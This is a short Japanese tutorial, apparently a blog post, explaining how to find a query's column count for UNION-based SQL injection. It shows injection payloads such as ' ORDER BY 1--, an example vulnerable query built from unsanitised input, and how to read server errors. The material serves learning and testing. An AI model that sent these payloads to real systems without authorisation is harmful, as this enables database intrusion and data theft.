Hello there, ('ω')ノ
🎯 目的
UNIONベースのSQLインジェクションを行うためには、まず:
元のSQLクエリが返すカラム(列)の数を特定する
ことが不可欠です。
✅ カラム数特定の方法:ORDER BY
を使う
ORDER BY
句を使って、カラム番号を1つずつ増やしながらサーバーの反応を見るという手法が効果的です。
🔁 手順
次のようなペイロードを順番に試していきます:
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ...
🔍 目的
- クエリ内のソート対象に存在しないカラム番号を指定すると、SQLエラーが返る
- その直前の番号が正しいカラム数である
🧪 例:3カラムのクエリに対して
SELECT id, username, email FROM users WHERE username = '$input'
試すペイロードと反応
ペイロード | サーバーの反応 | 解釈 |
---|---|---|
' ORDER BY 1-- |
正常にページが表示される | カラム1は存在 |
' ORDER BY 2-- |
正常にページが表示される | カラム2も存在 |
' ORDER BY 3-- |
正常にページが表示される | カラム3も存在 |
' ORDER BY 4-- |
エラーまたは空ページ | → カラム数は「3」 |
🧠 判定方法のポイント
状況 | 判断の目安 |
---|---|
明示的にDBエラー表示 | カラム数が直接わかる |
サーバーエラー(500など) | カラム数を超えた |
空白ページや別ページ遷移 | 結果なし=カラム数を超えた可能性 |
✅ 注意点
--
はSQLでコメントアウトを意味し、それ以降のSQLを無視させます'
や"
の使い方はインジェクション位置の構文に依存します(例:' ORDER BY 1--
や" ORDER BY 1--
)- カラム数が確定できれば、次に**
UNION SELECT
によるデータ抽出**が可能になります
Best regards, (^^ゞ